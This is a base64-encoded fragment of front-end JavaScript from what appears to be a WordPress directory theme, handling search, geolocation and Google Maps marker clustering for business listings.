pb24gc2hvd0xvYWRpbmcoZGlzYWJsZVN1Ym1pdCkgewoJdmFyIHRvcFBvc2l0aW9uID0gbWFwRGl2LmhlaWdodCgpIC8gMjsKCXNwaW5uZXJEaXYuY3NzKCd0b3AnLHRvcFBvc2l0aW9uKydweCcpLmZhZGVJbigpOwoJaWYgKGRpc2FibGVTdWJtaXQpIHsKCQlzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCB0cnVlKTsKCX0KfQoKZnVuY3Rpb24gaGlkZUxvYWRpbmcoKSB7CglzcGlubmVyRGl2LmZhZGVPdXQoKTsKCXNlYXJjaFN1Ym1pdC5hdHRyKCdkaXNhYmxlZCcsIGZhbHNlKTsKfQoKLy8gc2V0IGludGVyYWN0aXZlIHNlYXJjaAppZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CglzZWFyY2hJbnB1dC50eXBlV2F0Y2goewoJCWNhbGxiYWNrOiBmdW5jdGlvbigpIHsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfSwKCQl3YWl0OiA1MDAsCgkJaGlnaGxpZ2h0OiBmYWxzZSwKCQljYXB0dXJlTGVuZ3RoOiAwCgl9KTsKCgljYXRlZ29yeUlucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsdWkuaXRlbS52YWx1ZSxmYWxzZSk7Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZXNlbGVjdCIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSxmYWxzZSx1aS5pdGVtLnZhbHVlKTsKCX0pOwoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlY2xvc2UiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWlmKCQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKSA9PSAnMCcpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cn0KCiQoJyNkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MgLmljb24nKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykudG9nZ2xlKCk7Cn0pOwoKJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQtY2xvc2UnKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykuaGlkZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkIC52YWx1ZS1zbGlkZXInKS5zbGlkZXIoewoJdmFsdWU6IGdlb0lucHV0UmFkaXVzLnZhbCgpLAoJbWluOiAxLAoJbWF4OiAzMDAsCglzdGVwOiAxLAoJY2hhbmdlOiBmdW5jdGlvbihldmVudCwgdWkpIHsKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyAmJiBnZW9JbnB1dC5pcygnOmNoZWNrZWQnKSl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0sCglzbGlkZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJZ2VvSW5wdXRSYWRpdXMudmFsKHVpLnZhbHVlKTsKCX0KfSk7CgovLyBHZW9sb2NhdGlvbgoKZ2VvSW5wdXQuRmFuY3lDaGVja2JveCgpOwoKZnVuY3Rpb24gZW5hYmxlR2VvKCkgewoJZ2VvSW5wdXQuYXR0cignY2hlY2tlZCcsIHRydWUpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvZmYnKS5hZGRDbGFzcygnb24nKTsKfQoKZnVuY3Rpb24gZGlzYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCBmYWxzZSk7CglnZW9JbnB1dC5uZXh0KCkucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwp9CgoJaWYoZ2VvSW5wdXQuaXMoIjpjaGVja2VkIikpIHsKCgkJLy8gZW5hYmxlIGFmdGVyIHVzZXIgYWxsb3cgZ2VvbG9jYXRpb24KCQlkaXNhYmxlR2VvKCk7CgkJc2hvd0xvYWRpbmcodHJ1ZSk7CgoJCWlmIChuYXZpZ2F0b3IuZ2VvbG9jYXRpb24pIHsKCQkJbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihmdW5jdGlvbihwb3NpdGlvbikgewoKCQkJCWdlb0lucHV0TGF0LnZhbChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpOwoJCQkJZ2VvSW5wdXRMbmcudmFsKHBvc2l0aW9uLmNvb3Jkcy5sb25naXR1ZGUpOwoKCQkJCWVuYWJsZUdlbygpOwoKCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9CgpnZW9JbnB1dC5vbigiY2hhbmdlIixmdW5jdGlvbihldmVudCkgewoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJCQl9IGVsc2UgewoJCQkJCWhpZGVMb2FkaW5nKCk7CgkJCQl9CgoJCQl9LCBmdW5jdGlvbihlcnJvcil7CgkJCQlkaXNhYmxlR2VvKCk7CgkJCQloaWRlTG9hZGluZygpOwoJCQl9KTsKCQl9IGVsc2UgewoJCQlkaXNhYmxlR2VvKCk7CgkJCWhpZGVMb2FkaW5nKCk7CgkJfQoKCX0gZWxzZSB7CgoJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoKCX0KCn0pOwoKZnVuY3Rpb24gYWpheEdldE1hcmtlcnMoYWpheCxnZW9sb2MscmV3cml0ZUNhdGVnb3J5LHJld3JpdGVMb2NhdGlvbixyZXNldCkgewoKCXNob3dMb2FkaW5nKCk7CgoJcmFkaXVzID0gbmV3IEFycmF5KCk7CgoJdmFyIGNhdGVnb3J5ID0gMDsKCXZhciBsb2NhdGlvbiA9IDA7Cgl2YXIgc2VhcmNoID0gJyc7Cgl2YXIgbG9jYWxlID0gJ2VuJzsKCglpZihhamF4KXsKCQlpZihyZXdyaXRlQ2F0ZWdvcnkpewoJCQljYXRlZ29yeSA9IHJld3JpdGVDYXRlZ29yeTsKCQl9IGVsc2UgewoJCQljYXRlZ29yeSA9ICQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKTsKCQl9CgkJaWYocmV3cml0ZUxvY2F0aW9uKXsKCQkJbG9jYXRpb24gPSByZXdyaXRlTG9jYXRpb247CgkJfSBlbHNlIHsKCQkJbG9jYXRpb24gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCk7CgkJfQoJCXNlYXJjaCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgpOwoKCQl2YXIgYWpheEdlbyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cigiY2hlY2tlZCIpOwoKCQlpZihhamF4R2VvICYmICFyZXNldCl7CgkJCXZhciBpbnB1dFJhZGl1cyA9IGdlb0lucHV0UmFkaXVzLnZhbCgpOwoJCQlpZighaXNOYU4oaW5wdXRSYWRpdXMpKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGlucHV0UmFkaXVzKSk7CgkJCX0gZWxzZSB7CgkJCQlnZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSkpOwoJCQl9CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMYXQudmFsKCkpKTsKCQkJcmFkaXVzLnB1c2gocGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJCX0KCX0gZWxzZSB7CgkJaWYocmVzZXQpewoJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJbG9jYXRpb24gPSBwYXJzZUludChtYXBEaXYuZGF0YSgnbG9jYXRpb24nKSk7CgkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQl9IGVsc2UgewoJCQlpZihnZW9sb2MpewoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoKSk7CgkJCQlyYWRpdXMucHVzaChnZW9sb2MubGF0KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxuZygpKTsKCgkJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQkJc2VhcmNoID0gbWFwRGl2LmRhdGEoJ3NlYXJjaCcpOwoJCQl9CgkJfQoJfQoJLy8gZ2V0IGl0ZW1zIGZyb20gYWpheAoJJC5wb3N0KAoJCS8vIE15QWpheCBkZWZpbmVkIGluIGZ1bmN0aW9ucy5waHAKCQlNeUFqYXguYWpheHVybCwKCSAgICB7CgkgICAgICAgIGFjdGlvbiA6ICdnZXRfaXRlbXMnLAoJICAgICAgICBjYXRlZ29yeSA6IGNhdGVnb3J5LAoJICAgICAgICBsb2NhdGlvbiA6IGxvY2F0aW9uLAoJICAgICAgICBzZWFyY2ggOiBzZWFyY2gsCgkgICAgICAgIHJhZGl1cyA6IHJhZGl1cywKCSAgICAgICAgd3BtbF9sYW5nIDogbG9jYWxlCgkgICAgfSwKCSAgICBmdW5jdGlvbiggcmVzcG9uc2UgKSB7CgkgICAgCS8vIHNob3cgcmVzZXQgYWpheCBidXR0b24KCSAgICAJaWYoKCFyZXNldCkgJiYgKCFnZW9sb2MpICYmICgkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpKXsKCSAgICAJCSQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4Jykuc2hvdygpOwoJICAgIAl9CgkgICAgCWlmKGFqYXhHZW8gJiYgIXJlc2V0KXsKCSAgICAJCXZhciBhamF4R2VvT2JqID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSxwYXJzZUZsb2F0KGdlb0lucHV0TG5nLnZhbCgpKSk7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsYWpheEdlb09iaix0cnVlKTsKCSAgICAJfSBlbHNlIHsKCSAgICAJCWdlbmVyYXRlTWFya2VycyhyZXNwb25zZSxnZW9sb2MpOwoJICAgIAl9CgkgICAgfQoJKQoJLmZhaWwoZnVuY3Rpb24oZSkgeyBjb25zb2xlLmxvZygiQUpBWCBFUlJPUiIsIGUpOyB9KTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVNYXJrZXJzKGRhdGFSYXcsZ2VvbG9jLGFqYXhHZW8pIHsKCgkvLyBjbGVhciBtYXAKCWluZm9ib3guY2xvc2UoKTsKCW1hcERpdi5nbWFwMyh7IGNsZWFyOiB7IH0gfSk7CgoJbWFwLnNldFpvb20oMTApOwoKCXZhciBsZW4gPSAkLm1hcChkYXRhUmF3LCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJdmFyIGkgPSAwOwoJLy8gcHJlcGFyZSBkYXRhCgl2YXIgZGF0YSA9IG5ldyBBcnJheSgpOwoJZm9yKHZhciBrZXkgaW4gZGF0YVJhdyl7CgkJaWYgKCEoZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10gPT0gIjAiICYmIGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXSA9PSAiMCIpKSB7CgkJCXZhciByYXRpbmcgPSAnJzsKCQkJaWYoZGF0YVJhd1trZXldLnJhdGluZyl7CgkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InJhdGluZyI+JzsKCQkJCWZvciAodmFyIGogPSAxOyBqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ21heCddOyBqKyspIHsKCQkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InN0YXInOwoJCQkJCWlmKGogPD0gZGF0YVJhd1trZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCQl9CgkJCQkJcmF0aW5nICs9ICciPjwvZGl2Pic7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJzwvZGl2Pic7CgkJCX0KCgkJCXZhciB0aHVtYkNvZGUgPSAoZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKSA/ICcgd2l0aC1pbWFnZSI+PGltZyBzcmM9IicrZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKyciIGFsdD0iIiAvPicgOiAnIj4nOwoJCQlkYXRhW2ldID0gewoJCQkJbGF0TG5nOiBbZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10sZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xvbmdpdHVkZSddXSwKCQkJCW9wdGlvbnM6IHsKCQkJCQlpY29uOiBkYXRhUmF3W2tleV0ubWFya2VyLAoJCQkJCXNoYWRvdzogImh0dHA6Ly9kZW1vMTAwLmdvbGR3ZWIuYml6L3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQl9LAoJCQkJZGF0YTogJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPjxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50Jyt0aHVtYkNvZGUrJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPjxkaXYgY2xhc3M9InRpdGxlIj4nK2RhdGFSYXdba2V5XS5wb3N0X3RpdGxlKyc8L2Rpdj4nK3JhdGluZysnPGRpdiBjbGFzcz0iYWRkcmVzcyI+JytkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsiYWRkcmVzcyJdKyc8L2Rpdj48YSBocmVmPSInK2RhdGFSYXdba2V5XS5saW5rKyciIGNsYXNzPSJtb3JlLWJ1dHRvbiI+VklFVyBNT1JFPC9hPjwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4nCgkJCX07CgkJCWkrKzsKCQl9CiAgICB9CgogICAgLy8gc2hvdyBnZW9sb2MgbWFya2VyCiAgICBpZihnZW9sb2MpewogICAgCW1hcERpdi5nbWFwMyh7CgkJCW1hcmtlcjogewogICAgCQkJbGF0TG5nOiBnZW9sb2MsCiAgICAJCQlvcHRpb25zOiB7CiAgICAJCQkJYW5pbWF0aW9uOiBnb29nbGUubWFwcy5BbmltYXRpb24uRFJPUCwKICAgIAkJCQl6SW5kZXg6IDEwMDAsCiAgICAJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKICAgIAkJCX0KICAgIAkJfQogICAgCX0pOwoJfQoKCS8vIGdlbmVyYXRlIG1hcmtlcnMgaW4gbWFwCgl2YXIgbWFwT2JqID0gewoJCW1hcmtlcjogewoJCQl2YWx1ZXM6IGRhdGEsCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KICAgICAgICAgIAl9LAoJCQlldmVudHM6IHsKCQkJCWNsaWNrOiBmdW5jdGlvbihtYXJrZXIsIGV2ZW50LCBjb250ZXh0KXsKCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQlpbmZvYm94LnNldENvbnRlbnQoY29udGV4dC5kYXRhKTsKCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgoJCQkJfQoJCQl9CgkJfQoJfTsKCglpZihnZW9sb2MpewoJCWlmKGFqYXhHZW8pewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMudmFsKCkpICogMTAwMDsKCQkJfSBlbHNlIHsKCQkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpICogMTAwMDsKCQkJfQoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoKSAqIDEwMDA7CgkJCS8vIGF1dG9maXQgYnkgY2lyY2xlCgkJCW1hcE9iai5jaXJjbGUgPSB7CgkJCQlvcHRpb25zOiB7CgkJCQkJY2VudGVyOiBnZW9sb2MsCgkJCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQkJCXZpc2libGUgOiBmYWxzZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9Cgl9CgoJaGlkZUxvYWRpbmcoKTsKCgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7CgoJaWYobGVuID09IDEgJiYgIWdlb2xvYyl7CgkJbWFwLnNldFpvb20oMTApOwoJfQoKfQoKZnVuY3Rpb24gZ2VuZXJhdGVPbmx5R2VvKGxhdCxsbmcscmFkaXVzKSB7Cgl2YXIgZ2VvbG9jID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGxhdCkscGFyc2VGbG9hdChsbmcpKTsKCS8vIGdlbmVyYXRlIGdlbyBwaW4KCW1hcERpdi5nbWFwMyh7CgkJbWFya2VyOiB7CgkJCWxhdExuZzogZ2VvbG9jLAoJCQlvcHRpb25zOiB7CgkJCQlhbmltYXRpb246IGdvb2dsZS5tYXBzLkFuaW1hdGlvbi5EUk9QLAoJCQkJekluZGV4OiAxMDAwLAoJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKCQkJfQoJCX0KCX0pOwoJLy8gZ2VuZXJhdGUgYW5kIGF1dG9maXQgYnkgY2lyY2xlCgl2YXIgbWFwT2JqID0ge307Cgl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQocmFkaXVzKSAqIDEwMDA7CgkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJbWFwT2JqLmNpcmNsZSA9IHsKCQlvcHRpb25zOiB7CgkJCWNlbnRlcjogZ2VvbG9jLAoJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCXZpc2libGUgOiB0cnVlLAoJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJc3Ryb2tlQ29sb3IgOiAiIzJjODJiZSIKCQl9Cgl9CgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7Cn0KCnZhciBjb250ZW50RGl2ID0gJCgnI21haW4gI2NvbnRlbnQnKTsKdmFyIGN1cnJDb250ZW50ID0gY29udGVudERpdi5odG1sKCk7CnZhciBhamF4Q29udGVudDsKCmZ1bmN0aW9uIGdlbmVyYXRlQ29udGVudChkYXRhKSB7CgoJdmFyIGxlbmd0aCA9ICQubWFwKGRhdGEsIGZ1bmN0aW9uKG4sIGkpIHsgcmV0dXJuIGk7IH0pLmxlbmd0aDsKCgljb250ZW50RGl2LmZpbmQoJy5hamF4LWNvbnRlbnQnKS5yZW1vdmUoKTsKCXZhciB0aXRsZTsKCWlmKGxlbmd0aCA9PSAwKXsKCQl0aXRsZSA9ICQoJzxoZWFkZXIgY2xhc3M9ImVudHJ5LWhlYWRlciI+PC9oZWFkZXI+Jyk7Cgl9IGVsc2UgewoJCXRpdGxlID0gJCgnPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj48L2hlYWRlcj4nKTsKCX0KCgl2YXIgaHRtbDsKCWlmKGxlbmd0aCA+IDApewoJCWh0bWwgPSAkKCc8dWwgY2xhc3M9Iml0ZW1zIj48L3VsPicpOwoJfQoJdmFyIGxpbWl0ID0gMzA7CglpZihsaW1pdCA+IGxlbmd0aCkgewoJCWxpbWl0ID0gbGVuZ3RoOwoJfQoJdmFyIGkgPSAwOwoJZm9yKHZhciBrZXkgaW4gZGF0YSl7CgkJdmFyIHRodW1ibmFpbEh0bWw7CgkJaWYoZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCl7CgkJCXZhciB0aHVtYm5haWxIdG1sID0gJzxkaXYgY2xhc3M9InRodW1ibmFpbCI+PGltZyBzcmM9IicrZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCsnIiBhbHQ9Ikl0ZW0gdGh1bWJuYWlsIiAvPjxkaXYgY2xhc3M9ImNvbW1lbnQtY291bnQiPicrZGF0YVtrZXldLmNvbW1lbnRfY291bnQrJzwvZGl2PjwvZGl2Pic7CgkJfSBlbHNlIHsKCQkJdGh1bWJuYWlsSHRtbCA9ICcnOwoJCX0KCQl2YXIgcmF0aW5nID0gJyc7CgkJaWYoZGF0YVtrZXldLnJhdGluZyl7CgkJCXJhdGluZyArPSAnPHNwYW4gY2xhc3M9InJhdGluZyI+JzsKCQkJZm9yICh2YXIgaSA9IDE7IGkgPD0gZGF0YVtrZXldLnJhdGluZ1snbWF4J107IGkrKykgewoJCQkJcmF0aW5nICs9ICc8c3BhbiBjbGFzcz0ic3Rhcic7CgkJCQlpZihpIDw9IGRhdGFba2V5XS5yYXRpbmdbJ3ZhbCddKSB7CgkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCX0KCQkJCXJhdGluZyArPSAnIj48L3NwYW4+JzsKCQkJfQoJCQlyYXRpbmcgKz0gJzwvc3Bhbj4nOwoJCX0KCQl2YXIgZGVzY3JpcHRpb25IdG1sID0gJzxkaXYgY2xhc3M9ImRlc2NyaXB0aW9uIj4nK2RhdGFba2V5XS5leGNlcnB0RGlyKyc8L2Rpdj4nOwoJCWh0bWwuYXBwZW5kKCc8bGkgY2xhc3M9Iml0ZW0gY2xlYXIiPicrdGh1bWJuYWlsSHRtbCtkZXNjcmlwdGlvbkh0bWwrJzwvbGk+Jyk7CgkJaWYoaSA8PSBsaW1pdCl7CgkJCWkrKzsKCQl9IGVsc2UgewoJCQlicmVhazsKCQl9Cgl9OwoJYWpheENvbnRlbnQgPSAkKCc8ZGl2IGNsYXNzPSJhamF4LWNvbnRlbnQiPjwvZGl2PicpLmh0bWwodGl0bGUpLmFwcGVuZChodG1sKTsKCWNvbnRlbnREaXYuZmluZCgnPicpLmhpZGUoKTsKCWNvbnRlbnREaXYuYXBwZW5kKGFqYXhDb250ZW50KTsKfQoKLy8gcmVzZXQgc2VhcmNoIGFqYXggdmFsdWVzCiQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4JykuY2xpY2soZnVuY3Rpb24gKCkgewoKCS8vIGdldCBkZWZhdWx0IHZhbHVlcwoJYWpheEdldE1hcmtlcnMoZmFsc2UsZmFsc2UsZmFsc2UsZmFsc2UsdHJ1ZSk7CgoKCSQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgiIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC10ZXh0IGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24nKS52YWwoIiIpOwoJJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgiMCIpOwoJLy8gZm9yIElF